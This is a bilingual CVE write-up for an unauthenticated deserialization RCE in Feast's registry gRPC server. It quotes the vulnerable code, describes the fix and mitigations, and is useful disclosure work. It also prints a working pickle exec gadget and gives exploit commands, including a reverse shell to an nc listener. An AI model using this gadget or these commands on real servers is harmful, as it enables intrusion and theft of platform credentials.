joaovicdev
exploitexploitCVE-2026-56121

CVE-2026-56121: Feast unauthenticated RCE — dill.loads before the auth checkCVE-2026-56121: RCE não autenticada no Feast — dill.loads antes da checagem de auth

A single unauthenticated gRPC call to Feast's registry server runs dill.loads on an attacker-supplied UDF body — the deserialization happens before the permission check. Dockerized lab plus a stdlib-only pickle gadget.Uma única chamada gRPC não autenticada ao registry server do Feast roda dill.loads sobre o corpo de uma UDF fornecida pelo atacante — a desserialização acontece antes da checagem de permissão. Lab dockerizado e um gadget de pickle usando só a stdlib.

Proof of concept on GitHubProva de conceito no GitHub

Authorization: this is a self-contained lab built for education and authorized security testing. Run it only against the bundled Docker environment or systems you own or are explicitly permitted to test — unauthorized use against third-party systems is a crime.

Summary

Feast is a widely deployed open-source feature store. Its registry gRPC server exposes an ApplyFeatureView RPC that parses the incoming feature-view spec by calling OnDemandFeatureView.from_proto(...) — and for a pandas-mode On-Demand Feature View with a non-empty UDF body, that path ends in dill.loads() on attacker-controlled bytes.

Two things turn that into unauthenticated RCE:

  1. The deserialization runs before assert_permissions_to_update, so no authorization check ever gates it.
  2. The shipped default is auth: no_auth, and with it the server installs no AuthInterceptor at all — the whole RegistryServer is reachable with zero credentials on [::]:6570 via add_insecure_port.

dill executes pickle opcodes, so an object with a crafted __reduce__ runs arbitrary Python in the server process.

CVECVE-2026-56121
ProductFeast — registry gRPC server
Affectedfeast < 0.63.0
Fixed in0.63.0 (commit 835cda8)
ClassCWE-502 — Deserialization of Untrusted Data
Default port6570/tcp

Impact

Anyone who can route a TCP packet to port 6570 executes Python as the Feast service account. No credentials, no prior access, one RPC. A feature store sits next to the data plane of an ML platform — object-storage credentials, warehouse connection strings, and the offline/online store config all live in the same process environment.

The vulnerable path

The handler deserializes first and authorizes second:

sdk/python/feast/registry_server.py
def ApplyFeatureView(self, request, context):
    feature_view_type = request.WhichOneof("base_feature_view")
    ...
    elif feature_view_type == "on_demand_feature_view":
        feature_view = OnDemandFeatureView.from_proto(   # deserializes here
            request.on_demand_feature_view
        )
    ...
    assert_permissions_to_update(                        # auth check AFTER
        resource=feature_view,
        getter=self.proxied_registry.get_feature_view,
        project=request.project,
    )

Spec parsing then routes on mode, requiring only that body_text is non-empty:

sdk/python/feast/on_demand_feature_view.py
if transformation_type == "user_defined_function":
    udf_proto = feature_transformation.user_defined_function
    if udf_proto.body_text:
        if mode == "pandas":
            return PandasTransformation.from_proto(udf_proto)
        elif mode == "python":
            return PythonTransformation.from_proto(udf_proto)

And the sink:

sdk/python/feast/transformation/pandas_transformation.py
@classmethod
def from_proto(cls, user_defined_function_proto):
    return PandasTransformation(
        udf=dill.loads(user_defined_function_proto.body),   # SINK
        udf_string=user_defined_function_proto.body_text,
    )

python_transformation.py carries the same sink for mode == "python", and the legacy _handle_backward_compatible_udf path (the deprecated spec.user_defined_function field) funnels back into PandasTransformation.from_proto as well.

The missing auth is just as blunt:

sdk/python/feast/registry_server.py — _grpc_interceptors
if auth_type == AuthManagerType.NONE:
    return [ErrorInterceptor()]          # no AuthInterceptor
return [AuthInterceptor(), ErrorInterceptor()]

Proof of concept

dill.loads decodes standard pickle opcodes, so the gadget is built with the stdlib pickle module — the attacker side needs only grpcio and protobuf, not dill:

the gadget
class _Payload:
    def __init__(self, src): self.src = src
    def __reduce__(self):
        return (exec, (self.src,))     # exec(<python source>) on the server
 
body = pickle.dumps(_Payload(python_source), protocol=2)

The request populates ApplyFeatureViewRequest.on_demand_feature_view with an OnDemandFeatureViewSpec where mode = "pandas" and feature_transformation.user_defined_function is a UserDefinedFunctionV2 with mode = "pandas", a non-empty body_text, and body set to the pickle above. One unauthenticated call to feast.registry.RegistryServer/ApplyFeatureView is enough — the RPC may then error out, but the code has already run.

The injected source is a dependency-free socket snippet that streams command output back to a listener the exploit spins up itself, so nothing is assumed about which binaries (nc, bash) exist in the target image.

Run it

1. Start the vulnerable lab (feast==0.62.0 by default):

cd lab
docker compose up --build -d
docker compose logs -f          # wait for "Grpc server started"

2. Install the exploit dependencies:

python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt

3. Fire it. The non-destructive check drops a marker in /tmp and returns host info:

python exploit/exploit.py --target 127.0.0.1:6570 --check

Run a command and read its output:

python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"

Or take an interactive shell — listener first:

# terminal A
nc -lvnp 4444
# terminal B  (an address the container can reach back to)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444

exploit/poc.py is the same primitive stripped to ~90 readable lines:

python exploit/poc.py 127.0.0.1:6570 "id; uname -a"

Callback note. --check, --cmd and poc.py need the target to connect back to a listener on your machine. From the host this works out of the box; from inside a container, join the lab network (docker run --network lab_default ...) or the payload runs but the reply never arrives and the tool reports "no callback".

4. Confirm the patch by rebuilding against the fixed release:

cd lab && docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check

On 0.63.0 you get [-] No callback received. and no marker file.

The fix

Commit 835cda8 threads a skip_udf: bool = False flag through the deserialization chain and has ApplyFeatureView build the feature view with skip_udf=True for the permission check, deserializing the UDF body only after authorization. _parse_transformation_from_proto returns None when skip_udf=True, and StreamFeatureView.from_proto guards on HasField("user_defined_function") and not skip_udf.

Beyond upgrading to >= 0.63.0: don't expose 6570 to untrusted networks, and run a real auth backend (auth: kubernetes / auth: oidc) instead of the default no_auth.

References

Autorização: este é um lab autocontido, feito para fins educacionais e testes de segurança autorizados. Rode apenas contra o ambiente Docker incluído ou sistemas que você possui ou tem permissão explícita para testar — uso não autorizado contra sistemas de terceiros é crime.

Resumo

O Feast é um feature store open-source amplamente usado. Seu registry gRPC server expõe um RPC ApplyFeatureView que interpreta a spec de feature view recebida chamando OnDemandFeatureView.from_proto(...) — e, para uma On-Demand Feature View em modo pandas com corpo de UDF não vazio, esse caminho termina em dill.loads() sobre bytes controlados pelo atacante.

Duas coisas transformam isso em RCE não autenticada:

  1. A desserialização roda antes de assert_permissions_to_update, então nenhuma checagem de autorização a protege.
  2. O padrão distribuído é auth: no_auth, e com ele o servidor não instala nenhum AuthInterceptor — o RegistryServer inteiro fica alcançável sem credencial alguma em [::]:6570 via add_insecure_port.

O dill executa opcodes de pickle, então um objeto com um __reduce__ forjado roda Python arbitrário dentro do processo do servidor.

CVECVE-2026-56121
ProdutoFeast — registry gRPC server
Afetadasfeast < 0.63.0
Corrigido em0.63.0 (commit 835cda8)
ClasseCWE-502 — Deserialization of Untrusted Data
Porta padrão6570/tcp

Impacto

Qualquer um que consiga rotear um pacote TCP até a porta 6570 executa Python como a conta de serviço do Feast. Sem credenciais, sem acesso prévio, um RPC. Um feature store fica ao lado do data plane de uma plataforma de ML — credenciais de object storage, strings de conexão do warehouse e a configuração dos stores offline/online vivem todas no mesmo ambiente de processo.

O caminho vulnerável

O handler desserializa primeiro e autoriza depois:

sdk/python/feast/registry_server.py
def ApplyFeatureView(self, request, context):
    feature_view_type = request.WhichOneof("base_feature_view")
    ...
    elif feature_view_type == "on_demand_feature_view":
        feature_view = OnDemandFeatureView.from_proto(   # desserializa aqui
            request.on_demand_feature_view
        )
    ...
    assert_permissions_to_update(                        # checagem de auth DEPOIS
        resource=feature_view,
        getter=self.proxied_registry.get_feature_view,
        project=request.project,
    )

A interpretação da spec então roteia por mode, exigindo apenas que body_text não esteja vazio:

sdk/python/feast/on_demand_feature_view.py
if transformation_type == "user_defined_function":
    udf_proto = feature_transformation.user_defined_function
    if udf_proto.body_text:
        if mode == "pandas":
            return PandasTransformation.from_proto(udf_proto)
        elif mode == "python":
            return PythonTransformation.from_proto(udf_proto)

E o sink:

sdk/python/feast/transformation/pandas_transformation.py
@classmethod
def from_proto(cls, user_defined_function_proto):
    return PandasTransformation(
        udf=dill.loads(user_defined_function_proto.body),   # SINK
        udf_string=user_defined_function_proto.body_text,
    )

O python_transformation.py carrega o mesmo sink para mode == "python", e o caminho legado _handle_backward_compatible_udf (o campo depreciado spec.user_defined_function) desemboca também em PandasTransformation.from_proto.

A ausência de autenticação é igualmente direta:

sdk/python/feast/registry_server.py — _grpc_interceptors
if auth_type == AuthManagerType.NONE:
    return [ErrorInterceptor()]          # nenhum AuthInterceptor
return [AuthInterceptor(), ErrorInterceptor()]

Prova de conceito

O dill.loads decodifica opcodes padrão de pickle, então o gadget é construído com o módulo pickle da stdlib — o lado do atacante precisa apenas de grpcio e protobuf, não de dill:

o gadget
class _Payload:
    def __init__(self, src): self.src = src
    def __reduce__(self):
        return (exec, (self.src,))     # exec(<código python>) no servidor
 
body = pickle.dumps(_Payload(python_source), protocol=2)

A requisição preenche ApplyFeatureViewRequest.on_demand_feature_view com uma OnDemandFeatureViewSpec onde mode = "pandas" e feature_transformation.user_defined_function é uma UserDefinedFunctionV2 com mode = "pandas", um body_text não vazio, e body contendo o pickle acima. Uma chamada não autenticada a feast.registry.RegistryServer/ApplyFeatureView basta — o RPC pode até dar erro depois, mas o código já rodou.

O código injetado é um trecho de socket sem dependências que devolve a saída do comando para um listener que o próprio exploit sobe, então nada é assumido sobre quais binários (nc, bash) existem na imagem do alvo.

Rodando o lab

1. Suba o lab vulnerável (feast==0.62.0 por padrão):

cd lab
docker compose up --build -d
docker compose logs -f          # espere por "Grpc server started"

2. Instale as dependências do exploit:

python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt

3. Dispare. A checagem não destrutiva deixa um marcador em /tmp e devolve informações do host:

python exploit/exploit.py --target 127.0.0.1:6570 --check

Rode um comando e leia a saída:

python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"

Ou pegue um shell interativo — listener primeiro:

# terminal A
nc -lvnp 4444
# terminal B  (um endereço que o contêiner consiga alcançar de volta)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444

O exploit/poc.py é a mesma primitiva reduzida a ~90 linhas legíveis:

python exploit/poc.py 127.0.0.1:6570 "id; uname -a"

Nota sobre o callback. --check, --cmd e o poc.py precisam que o alvo conecte de volta a um listener na sua máquina. A partir do host isso funciona direto; de dentro de um contêiner, entre na rede do lab (docker run --network lab_default ...) ou o payload roda mas a resposta nunca chega e a ferramenta reporta "no callback".

4. Confirme o patch reconstruindo contra a versão corrigida:

cd lab && docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check

Na 0.63.0 você recebe [-] No callback received. e nenhum arquivo marcador.

A correção

O commit 835cda8 passa uma flag skip_udf: bool = False por toda a cadeia de desserialização e faz o ApplyFeatureView montar a feature view com skip_udf=True para a checagem de permissão, desserializando o corpo da UDF apenas depois da autorização. O _parse_transformation_from_proto devolve None quando skip_udf=True, e StreamFeatureView.from_proto protege com HasField("user_defined_function") and not skip_udf.

Além de atualizar para >= 0.63.0: não exponha a 6570 a redes não confiáveis, e rode um backend de autenticação de verdade (auth: kubernetes / auth: oidc) em vez do padrão no_auth.

Referências